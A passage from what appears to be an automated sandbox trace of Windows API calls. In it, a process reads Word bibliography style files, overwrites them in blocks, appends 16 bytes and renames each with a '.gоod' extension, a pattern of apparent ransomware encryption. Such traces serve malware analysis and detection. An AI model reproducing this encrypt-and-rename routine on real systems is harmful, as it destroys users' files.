dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.884] GetFileType (hFile=0x630) returned 0x1 [0236.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.885] GetFileType (hFile=0x630) returned 0x1 [0236.885] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x3d639 [0236.885] WriteFile (in: hFile=0x630, lpBuffer=0x37b6388*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x37b6388*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0236.886] CloseHandle (hObject=0x630) returned 1 [0236.886] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", lpFilePart=0x0) returned 0x4a [0236.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.886] GetFileType (hFile=0x630) returned 0x1 [0236.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.886] GetFileType (hFile=0x630) returned 0x1 [0236.886] ReadFile (in: hFile=0x630, lpBuffer=0x37b8650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x37b8650*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0236.918] CloseHandle (hObject=0x630) returned 1 [0236.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", lpFilePart=0x0) returned 0x4a [0236.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.919] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.919] GetFileType (hFile=0x630) returned 0x1 [0236.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.919] GetFileType (hFile=0x630) returned 0x1 [0236.919] WriteFile (in: hFile=0x630, lpBuffer=0x37b73a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x37b73a0*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0236.919] CloseHandle (hObject=0x630) returned 1 [0236.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", lpFilePart=0x0) returned 0x4a [0236.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.gоod", lpFilePart=0x0) returned 0x4f [0236.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0236.919] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x896c5efb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d649)) returned 1 [0236.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0236.920] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl.gоod")) returned 1 [0237.587] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0237.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0237.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), fInfoLevelId=0x0, lpFileInformation=0x36c66f0 | out: lpFileInformation=0x36c66f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df40d1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2df40d1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2788516, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x45882)) returned 1 [0237.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0237.588] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0237.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0237.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0237.589] GetFileType (hFile=0x630) returned 0x1 [0237.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0237.589] GetFileType (hFile=0x630) returned 0x1 [0237.589] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0237.589] ReadFile (in: hFile=0x630, lpBuffer=0x36c6bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x36c6bb8*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0237.592] CloseHandle (hObject=0x630) returned 1 [0237.592] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0237.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0237.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0237.592] GetFileType (hFile=0x630) returned 0x1 [0237.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0237.592] GetFileType (hFile=0x630) returned 0x1 [0237.592] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x45882 [0237.592] WriteFile (in: hFile=0x630, lpBuffer=0x36d4300*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x36d4300*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0237.594] CloseHandle (hObject=0x630) returned 1 [0237.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0237.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0237.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0237.594] GetFileType (hFile=0x630) returned 0x1 [0237.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0237.594] GetFileType (hFile=0x630) returned 0x1 [0237.594] ReadFile (in: hFile=0x630, lpBuffer=0x36d8998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x36d8998*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0237.626] CloseHandle (hObject=0x630) returned 1 [0237.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0237.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0237.626] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0237.626] GetFileType (hFile=0x630) returned 0x1 [0237.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0237.627] GetFileType (hFile=0x630) returned 0x1 [0237.627] WriteFile (in: hFile=0x630, lpBuffer=0x36d7698*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x36d7698*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0237.627] CloseHandle (hObject=0x630) returned 1 [0237.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0237.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.gоod", lpFilePart=0x0) returned 0x63 [0237.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0237.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df40d1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2df40d1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x89da0a98, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x45892)) returned 1 [0237.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0237.627] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl.gоod")) returned 1 [0237.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", lpFilePart=0x0) returned 0x55 [0237.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0237.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3757230 | out: lpFileInformation=0x3757230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2cbf800, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d)) returned 1 [0239.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0239.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", lpFilePart=0x0) returned 0x55 [0239.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0239.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.543] GetFileType (hFile=0x828) returned 0x1 [0239.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0239.543] GetFileType (hFile=0x828) returned 0x1 [0239.543] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0239.543] ReadFile (in: hFile=0x828, lpBuffer=0x36e1200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x36e1200*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0239.545] CloseHandle (hObject=0x828) returned 1 [0239.545] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", lpFilePart=0x0) returned 0x55 [0239.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0239.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.546] GetFileType (hFile=0x828) returned 0x1 [0239.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0239.546] GetFileType (hFile=0x828) returned 0x1 [0239.546] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x47e7d [0239.546] WriteFile (in: hFile=0x828, lpBuffer=0x36e25d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x36e25d0*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0239.547] CloseHandle (hObject=0x828) returned 1 [0239.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", lpFilePart=0x0) returned 0x55 [0239.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0239.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.547] GetFileType (hFile=0x828) returned 0x1 [0239.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0239.548] GetFileType (hFile=0x828) returned 0x1 [0239.548] ReadFile (in: hFile=0x828, lpBuffer=0x36e4a88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x36e4a88*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0240.955] CloseHandle (hObject=0x828) returned 1 [0240.955] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", lpFilePart=0x0) returned 0x55 [0240.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0240.955] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0240.955] GetFileType (hFile=0x828) returned 0x1 [0240.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0240.955] GetFileType (hFile=0x828) returned 0x1 [0240.955] WriteFile (in: hFile=0x828, lpBuffer=0x36d5a08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x36d5a08*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0240.955] CloseHandle (hObject=0x828) returned 1 [0240.956] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", lpFilePart=0x0) returned 0x55 [0240.956] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.gоod", lpFilePart=0x0) returned 0x5a [0240.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0240.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8bd50a39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x47e8d)) returned 1 [0240.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0240.956] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl.gоod")) returned 1 [0240.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", lpFilePart=0x0) returned 0x47 [0240.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0240.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3a0d208 | out: lpFileInformation=0x3a0d208*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2cbf800, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x42132)) returned 1 [0240.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0240.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", lpFilePart=0x0) returned 0x47 [0240.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0240.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0240.958] GetFileType 